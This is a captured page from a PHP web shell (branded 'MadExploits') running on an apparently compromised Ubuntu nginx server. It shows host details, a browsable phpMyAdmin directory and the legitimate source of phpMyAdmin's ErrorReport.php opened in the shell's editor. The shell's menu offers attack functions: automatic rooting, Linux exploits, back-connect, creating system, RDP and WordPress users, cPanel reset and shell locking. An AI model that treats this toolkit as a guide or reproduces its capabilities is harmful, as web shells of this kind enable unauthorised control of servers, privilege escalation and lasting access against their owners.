Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
phpmyadmin /
libraries /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Providers
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Twig
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
Advisor.php
12.22
KB
-rw-r--r--
Bookmark.php
10.69
KB
-rw-r--r--
BrowseForeigners.php
10.82
KB
-rw-r--r--
Charsets.php
7.1
KB
-rw-r--r--
CheckUserPrivileges.php
11.94
KB
-rw-r--r--
Config.php
45.37
KB
-rw-r--r--
Console.php
3.38
KB
-rw-r--r--
Core.php
42.33
KB
-rw-r--r--
CreateAddField.php
17.57
KB
-rw-r--r--
DatabaseInterface.php
75
KB
-rw-r--r--
DbTableExists.php
3.21
KB
-rw-r--r--
Encoding.php
8.51
KB
-rw-r--r--
Error.php
13.97
KB
-rw-r--r--
ErrorHandler.php
17.15
KB
-rw-r--r--
ErrorReport.php
9.14
KB
-rw-r--r--
Export.php
46.24
KB
-rw-r--r--
File.php
21.28
KB
-rw-r--r--
FileListing.php
2.85
KB
-rw-r--r--
Font.php
5.58
KB
-rw-r--r--
Footer.php
10.54
KB
-rw-r--r--
Git.php
17.95
KB
-rw-r--r--
Header.php
21.45
KB
-rw-r--r--
Import.php
57.46
KB
-rw-r--r--
Index.php
15.07
KB
-rw-r--r--
IndexColumn.php
4.23
KB
-rw-r--r--
InsertEdit.php
130.18
KB
-rw-r--r--
InternalRelations.php
17.31
KB
-rw-r--r--
IpAllowDeny.php
9.76
KB
-rw-r--r--
Language.php
4.46
KB
-rw-r--r--
LanguageManager.php
23.96
KB
-rw-r--r--
Linter.php
5.25
KB
-rw-r--r--
ListAbstract.php
1.77
KB
-rw-r--r--
ListDatabase.php
4.3
KB
-rw-r--r--
Logging.php
2.72
KB
-rw-r--r--
Menu.php
21.3
KB
-rw-r--r--
Message.php
19.09
KB
-rw-r--r--
Mime.php
916
B
-rw-r--r--
Normalization.php
41.48
KB
-rw-r--r--
OpenDocument.php
8.42
KB
-rw-r--r--
Operations.php
37.84
KB
-rw-r--r--
OutputBuffering.php
3.98
KB
-rw-r--r--
ParseAnalyze.php
2.37
KB
-rw-r--r--
Partition.php
7.17
KB
-rw-r--r--
Pdf.php
4.34
KB
-rw-r--r--
Plugins.php
25.18
KB
-rw-r--r--
Profiling.php
2.26
KB
-rw-r--r--
RecentFavoriteTable.php
12.01
KB
-rw-r--r--
Relation.php
77.39
KB
-rw-r--r--
RelationCleanup.php
14.7
KB
-rw-r--r--
Replication.php
4.73
KB
-rw-r--r--
ReplicationGui.php
21.52
KB
-rw-r--r--
ReplicationInfo.php
4.83
KB
-rw-r--r--
Response.php
16.47
KB
-rw-r--r--
Routing.php
5.71
KB
-rw-r--r--
Sanitize.php
12.13
KB
-rw-r--r--
SavedSearches.php
11.93
KB
-rw-r--r--
Scripts.php
3.64
KB
-rw-r--r--
Session.php
8.01
KB
-rw-r--r--
Sql.php
66.67
KB
-rw-r--r--
SqlQueryForm.php
7.12
KB
-rw-r--r--
StorageEngine.php
12.53
KB
-rw-r--r--
SubPartition.php
3.32
KB
-rw-r--r--
SystemDatabase.php
3.66
KB
-rw-r--r--
Table.php
95.67
KB
-rw-r--r--
TablePartitionDefinition.php
6.51
KB
-rw-r--r--
Template.php
3.87
KB
-rw-r--r--
Theme.php
8.76
KB
-rw-r--r--
ThemeManager.php
9.58
KB
-rw-r--r--
Tracker.php
29.78
KB
-rw-r--r--
Tracking.php
37.25
KB
-rw-r--r--
Transformations.php
16.29
KB
-rw-r--r--
TwoFactor.php
6.8
KB
-rw-r--r--
Types.php
25.2
KB
-rw-r--r--
Url.php
8.76
KB
-rw-r--r--
UserPassword.php
7.11
KB
-rw-r--r--
UserPreferences.php
8.45
KB
-rw-r--r--
Util.php
102.31
KB
-rw-r--r--
Version.php
533
B
-rw-r--r--
VersionInformation.php
7.15
KB
-rw-r--r--
ZipExtension.php
10.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ErrorReport.php
<?php declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\Utils\HttpRequest; use const E_USER_WARNING; use const JSON_PRETTY_PRINT; use const JSON_UNESCAPED_SLASHES; use const PHP_VERSION; use function count; use function http_build_query; use function is_array; use function json_encode; use function mb_strlen; use function mb_substr; use function parse_str; use function parse_url; use function preg_match; use function str_replace; /** * Error reporting functions used to generate and submit error reports */ class ErrorReport { /** * The URL where to submit reports to * * @var string */ private $submissionUrl = 'https://reports.phpmyadmin.net/incidents/create'; /** @var HttpRequest */ private $httpRequest; /** @var Relation */ private $relation; /** @var Template */ public $template; /** * @param HttpRequest $httpRequest HttpRequest instance * @param Relation $relation Relation instance * @param Template $template Template instance */ public function __construct(HttpRequest $httpRequest, Relation $relation, Template $template) { $this->httpRequest = $httpRequest; $this->relation = $relation; $this->template = $template; } /** * Set the URL where to submit reports to * * @param string $submissionUrl Submission URL */ public function setSubmissionUrl(string $submissionUrl): void { $this->submissionUrl = $submissionUrl; } /** * Returns the pretty printed error report data collected from the * current configuration or from the request parameters sent by the * error reporting js code. * * @return string the report */ private function getPrettyData(): string { $report = $this->getData(); return json_encode($report, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES); } /** * Returns the error report data collected from the current configuration or * from the request parameters sent by the error reporting js code. * * @param string $exceptionType whether exception is 'js' or 'php' * * @return array error report if success, Empty Array otherwise */ public function getData(string $exceptionType = 'js'): array { global $PMA_Config; $relParams = $this->relation->getRelationsParam(); // common params for both, php & js exceptions $report = [ 'pma_version' => PMA_VERSION, 'browser_name' => PMA_USR_BROWSER_AGENT, 'browser_version' => PMA_USR_BROWSER_VER, 'user_os' => PMA_USR_OS, 'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? null, 'user_agent_string' => $_SERVER['HTTP_USER_AGENT'], 'locale' => $PMA_Config->getCookie('pma_lang'), 'configuration_storage' => $relParams['db'] === null ? 'disabled' : 'enabled', 'php_version' => PHP_VERSION, ]; if ($exceptionType === 'js') { if (empty($_POST['exception'])) { return []; } $exception = $_POST['exception']; if (isset($exception['stack'])) { $exception['stack'] = $this->translateStacktrace($exception['stack']); } if (isset($exception['url'])) { [$uri, $scriptName] = $this->sanitizeUrl($exception['url']); $exception['uri'] = $uri; $report['script_name'] = $scriptName; unset($exception['url']); } elseif (isset($_POST['url'])) { [$uri, $scriptName] = $this->sanitizeUrl($_POST['url']); $exception['uri'] = $uri; $report['script_name'] = $scriptName; unset($_POST['url']); } else { $report['script_name'] = null; } $report['exception_type'] = 'js'; $report['exception'] = $exception; if (isset($_POST['microhistory'])) { $report['microhistory'] = $_POST['microhistory']; } if (! empty($_POST['description'])) { $report['steps'] = $_POST['description']; } } elseif ($exceptionType === 'php') { $errors = []; // create php error report $i = 0; if (! isset($_SESSION['prev_errors']) || $_SESSION['prev_errors'] == '' ) { return []; } foreach ($_SESSION['prev_errors'] as $errorObj) { /** @var Error $errorObj */ if (! $errorObj->getLine() || ! $errorObj->getType() || $errorObj->getNumber() == E_USER_WARNING ) { continue; } $errors[$i++] = [ 'lineNum' => $errorObj->getLine(), 'file' => $errorObj->getFile(), 'type' => $errorObj->getType(), 'msg' => $errorObj->getOnlyMessage(), 'stackTrace' => $errorObj->getBacktrace(5), 'stackhash' => $errorObj->getHash(), ]; } // if there were no 'actual' errors to be submitted. if ($i == 0) { return []; // then return empty array } $report['exception_type'] = 'php'; $report['errors'] = $errors; } else { return []; } return $report; } /** * Sanitize a url to remove the identifiable host name and extract the * current script name from the url fragment * * It returns two things in an array. The first is the uri without the * hostname and identifying query params. The second is the name of the * php script in the url * * @param string $url the url to sanitize * * @return array the uri and script name */ private function sanitizeUrl(string $url): array { $components = parse_url($url); if (! is_array($components)) { $components = []; } if (isset($components['fragment']) && preg_match('<PMAURL-\d+:>', $components['fragment'], $matches) ) { $uri = str_replace($matches[0], '', $components['fragment']); $url = 'https://example.com/' . $uri; $components = parse_url($url); if (! is_array($components)) { $components = []; } } // get script name preg_match('<([a-zA-Z\-_\d\.]*\.php|js\/[a-zA-Z\-_\d\/\.]*\.js)$>', $components['path'] ?? '', $matches); if (count($matches) < 2) { $scriptName = 'index.php'; } else { $scriptName = $matches[1]; } // remove deployment specific details to make uri more generic if (isset($components['query'])) { parse_str($components['query'], $queryArray); unset($queryArray['db'], $queryArray['table'], $queryArray['token'], $queryArray['server']); $query = http_build_query($queryArray); } else { $query = ''; } $uri = $scriptName . '?' . $query; return [ $uri, $scriptName, ]; } /** * Sends report data to the error reporting server * * @param array $report the report info to be sent * * @return string|bool|null the reply of the server */ public function send(array $report) { return $this->httpRequest->create( $this->submissionUrl, 'POST', false, json_encode($report), 'Content-Type: application/json' ); } /** * Translates the cumulative line numbers in the stack trace as well as sanitize * urls and trim long lines in the context * * @param array $stack the stack trace * * @return array the modified stack trace */ private function translateStacktrace(array $stack): array { foreach ($stack as &$level) { foreach ($level['context'] as &$line) { if (mb_strlen($line) <= 80) { continue; } $line = mb_substr($line, 0, 75) . '//...'; } [$uri, $scriptName] = $this->sanitizeUrl($level['url']); $level['uri'] = $uri; $level['scriptname'] = $scriptName; unset($level['url']); } unset($level); return $stack; } /** * Generates the error report form to collect user description and preview the * report before being sent * * @return string the form */ public function getForm(): string { $datas = [ 'report_data' => $this->getPrettyData(), 'hidden_inputs' => Url::getHiddenInputs(), 'hidden_fields' => null, ]; $reportData = $this->getData(); if (! empty($reportData)) { $datas['hidden_fields'] = Url::getHiddenFields($reportData, '', true); } return $this->template->render('error/report_form', $datas); } }
Close